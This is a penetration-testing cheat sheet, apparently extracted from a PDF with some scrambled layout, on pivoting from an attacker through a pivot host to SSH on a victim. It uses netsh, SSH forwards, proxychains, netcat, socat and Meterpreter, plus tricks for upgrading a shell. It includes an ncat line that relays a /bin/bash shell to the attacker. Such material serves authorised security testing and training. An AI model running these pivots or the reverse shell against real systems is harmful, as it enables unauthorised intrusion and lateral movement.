netsh Port Proxy

pivot c:\> netsh interface
portproxy add v4tov4
listenport=4000
listenaddress=0.0.0.0
connectport=22
connectaddress=victim.tgt
attacker \$ ssh
victimadmin@pivot.tgt

Don't Forget the Easy Stuff!

SSH trail through Linux:
attacker \$ ssh
pivotAdmin@pivot.tgt
pivot \$ ssh
victimAdmin@victim.tgt

PowerShell sessions through Windows:
attacker PS C:\> EnterPsSession -ComputerName
pivot.tgt
Or RDP session over Windows:
attacker c:\> mstsc.exe
/v:Pivot.tgt
psexec.exe
Now, with command execution on pivot:
pivot C:\> ssh
victimadmin@victim.tgt

No SSH available? How about PuTTY?

Note that even if all the hosts in the chain run Windows, you can't typically PsSession twice because of how credentials are used. Run a search for pssession double hop for more info.

Upgrade Ugly Shells (pick one!)

```
$ python -c 'import pty;
pty.spawn("/bin/bash")'
$ ruby -e 'exec "/bin/sh"'
$ /bin/sh -i or /bin/bash -i
$ perl -e 'exec "/bin/sh";'
```

Further Upgrade Ugly Shells

Things seem off? Sometimes this can return functionality like arrow keys in a shell.

victim \$ <Ctrl>z

```
attacker $ stty raw -echo
attacker $ fg
victim $ reset
victim $ export SHELL=bash
victim $ export TERM=xterm-
256color
victim $ stty rows 40 columns
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Maintain State with Screen

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- Session fails
- Regain session, THEN:
victim $ session -r hackinz
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victim \$ session -S hackinz

Want more functionality than screen? Check out tmux.

Is your connection not stable enough for ssh? mosh is more forgiving of spotty connections.

Manage Many SSH Connections

Check out ProxyJump and.ssh/config to manage a wide array of ssh connections.



Purpose

Navigating a client/victim environment often requires pivoting from target to target, and there are many ways to do so. This cheat sheet runs through various options for different environments and situations.

How to Use this Sheet

Find a method that may fit your situation. In each, we model an **attacker** pivoting through **pivot** to reach SSH on **victim**. Substitute hosts and ports to fit your need.

Pay attention to prompts as they will identify the host where the command should be run AND what type of prompt, i.e. Windows cmd.exe ($c: \$), PowerShell (PS), or Linux ($\$ or $\$). The diagram in the center should help.

Replace terms like victimAdmin and victimPass with appropriate credentials for the given system.

On the back, there are some extra goodies - like how to upgrade an ugly Netcat shell to something that feels more like a real Bash session.

Have fun, good luck, and pivot mercilessly!

SSH Pivots Require an sshd Setting

Set GatewayPorts yes in

/etc/ssh/sshd_config, then:

pivot # systemctl restart sshd

SSH Local Port Forward

attacker \$ ssh -fNL 1337:victim.tgt:22 pivoter@pivot.tgt attacker \$ ssh

victimadmin@localhost -P 1337

SSH Remote Port Forward

pivot \$ ssh -fNR
1337:victim.tgt:22
attacker@attacker.tgt
attacker \$ ssh
victimadmin@localhost -P 1337

Proxychains

attacker \$ ssh
pivotadmin@pivot.tgt -D 9050 fN

attacker \$ proxychains ssh
victimadmin@victim.tgt

And check /etc/proxychains.conf

Some SSH Command Line Options

- -f put ssh in the background after connecting
- **-N** don't execute a command; just forward some ports
- -P num use "num" port for ssh

Situation

You need to access SSH on port 22 of **victim**, but you can't go directly due to those meddling firewalls. For simplicity, this sheet will generally be using ports 1337, 4000, and 22 on the Attacker, Pivot, and Victim machines.

victim.tgt

:22

pivot.tgt



:4000



attacker.tgt

:1337

Netcat Port Forward

pivot \$ cd /tmp && mknod
backpipe p
pivot \$ nc -lvp 4000
0<backpipe | nc -v victim.tgt
22 1>backpipe
attacker \$ ssh
victimadmin@pivot.tgt -P 4000

Meterpreter Port Forward

pivot Meterpreter > portfwd
add -1 4000 -p 22 -r
victim.tgt
attacker \$ ssh
victimadmin@pivot.tgt -P 4000

Metasploit/Meterpreter Autoroute

pivot Meterpreter > run
post/multi/manage/autoroute
SUBNET=pivotSubnet CMD=add
pivot Meterpreter > background
pivot msf > use
scanner/ssh/ssh_login
pivot msf > set RHOSTS
victim.tgt
pivot msf > set USERNAME
victimAdmin
pivot msf > set PASSWORD
victimPass
pivot msf > run

Socat Port Forward

pivot \$ socat TCP-LISTEN: 4000, fork TCP: victim. tgt: 22 attacker \$ ssh

victimadmin@pivot.tgt -P 4000

Ncat Connection Brokering

Assumes code execution on victim

pivot\$ ncat -vlp 4000 --broker

victim\$ ncat pivot.tgt 4000 -e

/bin/bash

attacker\$ ncat pivot.tgt 4000